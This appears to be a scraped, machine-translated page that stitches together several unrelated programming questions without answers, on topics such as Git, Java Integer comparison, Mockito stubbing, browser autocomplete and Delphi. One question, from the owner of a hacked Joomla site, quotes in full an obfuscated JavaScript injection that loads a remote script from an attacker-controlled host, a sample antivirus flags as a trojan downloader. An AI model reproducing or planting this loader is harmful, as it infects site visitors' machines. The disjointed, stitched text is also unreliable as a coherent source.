是否有一个我可以调用的命令,它将计算Git存储库中特定作者更改的行?我知道必须有方法来计算提交次数,因为Github会为其影响图执行此操作.
我的Joomla!网站一再被黑客入侵.不知何故,有人设法将以下垃圾注入关键的php脚本,但我的意思是不要谈论配置Joomla.该网站访问量不大(有时我担心我可能是该网站的唯一访问者...)而且我并不关心网站是否备份和运行.我最终会处理这件事.
我的问题是,这种垃圾是如何运作的?我看着它,我只是看不出它如何造成任何伤害?它的作用是尝试下载一个名为ChangeLog.pdf的PDF文件,该文件感染了一个木马,打开后会冻结你的Acrobat并对你的机器造成严重破坏.它怎么做,我不知道,我不在乎.但是下面的脚本如何调用下载?
<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->
Run Code Online (Sandbox Code Playgroud)
ESET已将此代码检测为JS/TrojanDownloader.Agent.NRO木马
你能建议任何简单的Java统计软件包吗?
我不一定需要任何先进的东西.我很惊讶,似乎没有一个函数来计算java.lang.Math
包中的平均值...
你们有什么用呢?
编辑
关于:
编写一个计算均值和标准差的简单类有多难?
好吧,不难.手工编码之后我才问过这个问题.但是,当我需要这些功能时,它只会增加我的Java挫折感,而不是让这些最简单的功能可用.我不记得用心计算stdev的公式:)
我正在阅读Kathy Sierra和Bert Bates的SCJP Java 6,这本书让我很困惑.在页245上,他们在下面说明以下代码.
Integer i1 = 1000;
Integer i2 = 1000;
if(i1 != i2)
System.out.println("different objects");
//Prints output
different objects
Run Code Online (Sandbox Code Playgroud)
然后在下一页上,他们有以下代码
Integer i3 = 10;
Integer i4 = 10;
if(i3 == i4)
System.out.println("same objects");
//Prints output
same objects
Run Code Online (Sandbox Code Playgroud)
我很困惑!当我自己尝试这个时,似乎你不能使用==来比较你使用equals()方法的方式.即使整数变量设置为相同的值(即10),使用==总是给我'假'.我对么?使用==来比较相同的Integer对象(具有相同的值)将始终导致'false'
在我的Java应用程序中,我将文件重命名为String参数中提供的文件名.有一种方法
boolean OKtoRename(String oldName, String newName)
Run Code Online (Sandbox Code Playgroud)
它基本上检查newName是否已被其他文件占用,因为我不想埋没现有文件.
现在我想到,newName String可能不会表示有效的文件名.所以我想把这个检查添加到方法中:
if (new File(newName).isFile()) {
return false;
}
Run Code Online (Sandbox Code Playgroud)
这显然不是正确的方法,因为在大多数情况下newFile尚不存在,因此虽然它是 OKtoRename,但该函数返回false.
我在想,有没有一种方法(我知道有没有针对java.io.File的对象)canExist()
吗?或者,我将不得不诉诸正则表达式来确保NEWFILE String不包含无效字符(如?,*," :)?我不知道是否有可能是某个地方隐藏在JDK的函数,将一个字符串告诉我可能表示有效的文件名.
有一个通用的方法,将类作为参数,我有问题与Mockito存根.该方法如下所示:
public <U extends Enum<U> & Error, T extends ServiceResponse<U>> T validate(
Object target, Validator validator, Class<T> responseClass,
Class<U> errorEnum);
Run Code Online (Sandbox Code Playgroud)
这真是可怕,至少对我而言......我可以想象没有它的生活,但代码库的其余部分愉快地使用它......
在我的单元测试中,我打算将此方法存根以返回一个新的空对象.但是我如何用mockito做到这一点?我试过了:
when(serviceValidatorStub.validate(
any(),
isA(UserCommentRequestValidator.class),
UserCommentResponse.class,
UserCommentError.class)
).thenReturn(new UserCommentResponse());
Run Code Online (Sandbox Code Playgroud)
但由于我正在混合和匹配匹配器和原始值,我得到"org.mockito.exceptions.misusing.InvalidUseOfMatchersException:无效使用参数匹配器!"
autocomplete="off"
不是我追求的.基本上,在我的注册表上,有一个字段"电话"和"密码"一个放在另一个之上.(见截图)
令人烦恼的是,"电话"字段预先填充了用户名,因为我猜浏览器正在做什么 - 浏览器找到一个类型为password的字段,并假定文本输入字段就在它是用户名字段之前.效果是这样的:
为什么我对手机字段的非标准自动完成属性不感兴趣,我希望用户能够尽可能轻松地填写此表单,如果他们之前已在其他网站上输入了他们的电话号码(在称为字段中) "电话")当他们开始在场上打字时,他们可以从中受益.这就是为什么我不想完全关闭自动完成功能.
我正在更多地考虑重组字段以避免这种行为.或者某种方式告诉浏览器密码字段上方的字段与其无关,或者密码字段不用于验证目的.以某种方式标记它.或者在这两个字段之间注入一些不可见的元素?
有任何想法吗?
标记使用:
<input id="phone" name="phone" type="text" value="" maxlength="30">
<input id="newPassword" name="newPassword" type="password" value="" maxlength="20">
Run Code Online (Sandbox Code Playgroud)
我在Chrome,FF上得到了这种行为(不确定IE,在我的机器上得到了一个古老的版本,甚至不想开始担心IE.)
我想,我把手远离德尔福太久了.在过去的几年里,我一直忙于Java和PHP.现在,当我回到做一点Delphi工作时,我意识到我真的很想念Java和PHP都支持的条件运算符.
在Delphi程序中你会找到多少个这样的行?
var s : string;
begin
...<here the string result is manipulated>...
if combo.Text='' then
s := 'null'
else
s := QuotedStr(combo.Text);
result := result + s;
end;
Run Code Online (Sandbox Code Playgroud)
哪里很简单
result := result + (combo.text='')?'null':quotedStr(combo.text);
Run Code Online (Sandbox Code Playgroud)
就够了 我喜欢这个,它不仅缩短了代码,这样我也避免声明一些辅助s:string
变量.
为什么条件运算符不是Delphi的一部分 - 它们是否会得到支持?我注意到2009版Delphi(泛型)有很多语言扩展,为什么不添加这个功能呢?
java ×5
statistics ×2
browser ×1
class ×1
command-line ×1
delphi ×1
delphi-2009 ×1
equals ×1
file ×1
generics ×1
git ×1
html ×1
integer ×1
javascript ×1
joomla ×1
malware ×1
markup ×1
math ×1
mocking ×1
mockito ×1
packages ×1
repository ×1
spring ×1
wrapper ×1